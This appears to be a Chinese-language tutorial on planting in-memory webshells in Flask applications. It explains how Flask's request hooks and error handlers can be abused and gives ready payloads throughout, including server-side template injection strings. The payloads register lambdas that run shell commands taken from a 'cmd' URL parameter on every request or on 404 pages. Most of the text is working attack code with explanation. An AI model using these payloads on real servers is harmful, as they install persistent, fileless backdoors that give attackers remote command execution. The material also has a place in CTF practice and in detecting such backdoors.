Python 内存马

这里主要是运用Flask中的钩子函数

钩子函数是指在执行函数和目标函数之间挂载的函数,框架开发者给调用方提供一个point-挂载点,至于挂载什么函数由调用方决定.

before_request()方法挂马

before_request()是python装饰器,本质上是一个可调用的对象(函数或类), 它接收一个函数或类座位参数,并返回一个新的函数或类. 同时before_request()是一个Flask框架下的解释器,用于定义一个在每个请求之前执行的操作

原理:

self.before_request_funcs.setdefault(None, []).append(f)

self.before_request_funcs.setdefault(None, []): before_request_funcs 是一个字典,用来存储不同蓝图(或应用程序级别)的 before_request 函数列表。setdefault 方法确保了当键 None 不存在时,会创建一个空列表作为其值。这里 None 代表应用级别的 before_request 函数。
.append(f): 将传入的函数 f 添加到 before_request 函数列表中,这意味着该函数会在每个请求开始前被执行。f就是访问值,也是我们可以自定义的,那么这里只要我们设置f为一个匿名函数,这样每次发起请求前,都会触发一个这个匿名函数了
return f: 返回原始函数 f,这使得装饰器可以用作函数修饰,而不会改变函数本身的行为。

给一个字典里压进去了一个函数f,我们猜测这个字典里的东西都是在请求之前被执行的.于是我们模仿这个装饰器的操作,把f换成一个匿名函数,就能在请求前执行我们注入的代码

payload

__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())

{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('ls').read())")}}

after_request()方法挂马

after_request()before_request()很像.

self.after_request_funcs.setdefault(None, []).append(f)

但是这里传入的匿名函数需要接收一个response对象,同时返回一个response对象.因为这个匿名函数返回一个response对象,所以这个payload能直接把回显带出来.如果不要求带出回显的话匿名函数就不用写这么复杂.payload里的rcmd都是可以改的

payload

有回显:
app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global r;r=app.make_response(__import__('os').popen(request.args.get('cmd')).read())')==None else resp)
无回显:
app.after_request_funcs.setdefault(None, []).append(lambda x:__import__("os").popen(request.args.get("cmd")))

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

errorhandler()的利用

这个装饰器在其内部定义了一个用于注册错误处理函数的函数 。当用户请求了一个不存在的 URL 时,Flask 会调用 page_not_found 函数,要是我能操控404页面返回的东西,那就可以执行任意代码了

原理:

global exc_class; global code:
这一部分声明 exc_class 和 code 为全局变量。确保 exc_class 和 code 在后续代码中可以被正确引用。

exc_class, code = app._get_exc_class_and_code(404):
这行代码调用了 Flask 应用实例 app 的私有方法 _get_exc_class_and_code,传入 HTTP 状态码 404。该方法会返回与状态码 404 相关的异常类 (exc_class) 和状态码 (code)。

app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read():
这里最关键的部分:
app.error_handler_spec 是 Flask 内部用来存储错误处理程序的数据结构。
lambda a: __import__('os').popen(request.args.get('cmd')).read() 创建了一个匿名函数(Lambda),它接收一个参数 a(通常是异常对象),但忽略了这个参数。
它导入了 os 模块,并调用了 popen 方法来执行由 request.args.get('cmd') 获取的命令。request.args.get('cmd') 从 HTTP 请求的查询参数中获取名为 cmd 的值,这意味着任何通过 URL 参数传入的命令都会被执行。
最后,.read() 方法读取命令执行的结果并返回。

payload

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

teardown_request的利用

注册在每一个请求的末尾,不管是否有异常,每次请求的最后都会执行.

payload

不能调用request.args.get()动态执行传入的命令

app.teardown_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen("calc").read())

teardown_appcontext的利用

不管是否有异常,注册的函数都会在每次请求之后执行.flask 为上下文提供了一个teardown_appcontext钩子,使用它注册的毁掉函数会在程序上下文被销毁时调用,通常也在请求上下文被销毁时调用.某些情况下这个函数和**@teardown_request**的行为是类似的,一个是请求上下文被销毁时被调用,另一个是应用上下文被销毁时调用.

比如你需要在每个请求处理结束后销毁数据库连接:app.teardown_appcontext 装饰器注册的回调函数需要接收异常对象作为参数,当请求被正常处理时这个参数将是None,这个函数的返回值将被忽略.

payload

不能调用request.args.get()动态执行传入的命令

app.teardown_appcontext_funcs.append(lambda x :__import__('os').popen("calc").read())